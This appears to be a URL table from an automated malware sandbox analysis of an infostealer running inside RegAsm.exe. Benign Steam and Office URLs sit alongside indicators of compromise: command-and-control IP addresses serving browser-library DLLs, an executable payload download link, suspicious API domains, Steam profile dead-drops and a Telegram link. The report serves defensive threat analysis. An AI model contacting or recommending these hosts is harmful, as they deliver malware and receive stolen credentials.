https://duckduckgo.com/ac/?q=	RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, AFCAAE.2.dr, EGIDAAFI.15.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2782993650.00000000277AF000.00000004.00000020.00020000.00000000.sdmp, DGCAAFBFBKFIDGDHJDBK.15.dr	false	URL Reputation: safe	unknown
http://cowod.hopto.orgJJE	RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://chorusarorp.site/apiK)l	RegAsm.exe, 0000001C.00000002.2541722970.00000000012FD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000050E000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gravvitywio.store/apiy	RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.valvesoftware.com/legal.htm	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=pvBDaFhF2LLJ&l=e	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false		unknown
http://cowod.hopto.org_DEBUG.zip/c	file.exe, 00000000.00000002.1666233856.00000000037E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	RegAsm.exe, 0000000C.00000002.2737816539.000000000063B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000063A000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://49.12.197.9/0n	RegAsm.exe, 0000000C.00000002.2740659135.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hoptoKEBKJJE	RegAsm.exe, 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004E1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004DA000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004DA000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0	file.exe, 00000000.00000002.1666233856.00000000037E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, KJEGDBKFIJ.exe, 0000000A.00000002.2293601659.000000000346B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000437000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://49.12.197.9/mozglue.dllg	RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://49.12.197.9/freebl3.dllK	RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://absorptioniw.site/api.	RegAsm.exe, 0000001C.00000002.2541722970.00000000012FD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown
https://s.ytimg.com;	RegAsm.exe, 0000000C.00000002.2740659135.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/profiles/765611997804188699	RegAsm.exe, 0000001B.00000002.2589447441.000000000115F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exeX	RegAsm.exe, 0000000F.00000002.2782993650.00000000277C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199724331900q	RegAsm.exe, 0000001C.00000002.2541722970.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dllO	RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://cowod.GCFCAKEBKJJE	RegAsm.exe, 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2782993650.00000000277AF000.00000004.00000020.00020000.00000000.sdmp, DGCAAFBFBKFIDGDHJDBK.15.dr	false		unknown
https://49.12.197.9/sqlp.dll(3	RegAsm.exe, 0000001B.00000002.2589447441.000000000118E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.entrust.net/rpa03	file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	RegAsm.exe, 0000000F.00000002.2759155964.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, AFCAAE.2.dr, EGIDAAFI.15.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2782993650.00000000277AF000.00000004.00000020.00020000.00000000.sdmp, DGCAAFBFBKFIDGDHJDBK.15.dr	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	RegAsm.exe, 0000000F.00000002.2759155964.000000000045A000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, AFCAAE.2.dr, EGIDAAFI.15.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown
https://49.12.197.9IDHDHI	RegAsm.exe, 0000001B.00000002.2585998316.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown
https://www.ybe.c/	RegAsm.exe, 0000000C.00000002.2740659135.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199780418869z	RegAsm.exe, 00000002.00000002.2340395451.0000000000E71000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://go.microsoft.c	IIJKJDAFHJ.exe, 0000000D.00000002.2315175721.0000000001222000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://skeab.c	RegAsm.exe, 0000000C.00000002.2740659135.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	AKFHDB.2.dr, AAKEGD.12.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	RegAsm.exe, 0000000F.00000002.2759155964.000000000045A000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown
https://help.steampowered.com/en/	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpry=----KJKJKFCBKKJDGDHIDBGIultrelease	RegAsm.exe, 0000000F.00000002.2759155964.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/)	RegAsm.exe, 0000000F.00000002.2763045880.000000000148F000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://49.12.197.9/B_F	RegAsm.exe, 0000000C.00000002.2740659135.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://49.12.197.9HJEBGI	RegAsm.exe, 0000000C.00000002.2737816539.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://49.12.197.9/vcruntime140.dllS	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199780418869/inventory/	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false		unknown
https://49.12.197.9/4k	RegAsm.exe, 0000000C.00000002.2740659135.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.co	RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17host.exe	RegAsm.exe, 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/ts1ca.crl0	file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/workshop/	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false		unknown
https://49.12.197.9/msvcp140.dllI	RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/legal/	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2782993650.00000000277AF000.00000004.00000020.00020000.00000000.sdmp, DGCAAFBFBKFIDGDHJDBK.15.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, AFCAAE.2.dr, EGIDAAFI.15.dr	false		unknown
https://chorusarorp.site/api	RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199780418869	76561199780418869[1].htm.27.dr	false		unknown
http://aia.entrust.net/ts1-chain256.cer01	file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/	76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown
https://snarlypagowo.site/	RegAsm.exe, 0000001C.00000002.2542151523.0000000001333000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://49.12.197.9/softokn3.dllu	RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll3	RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
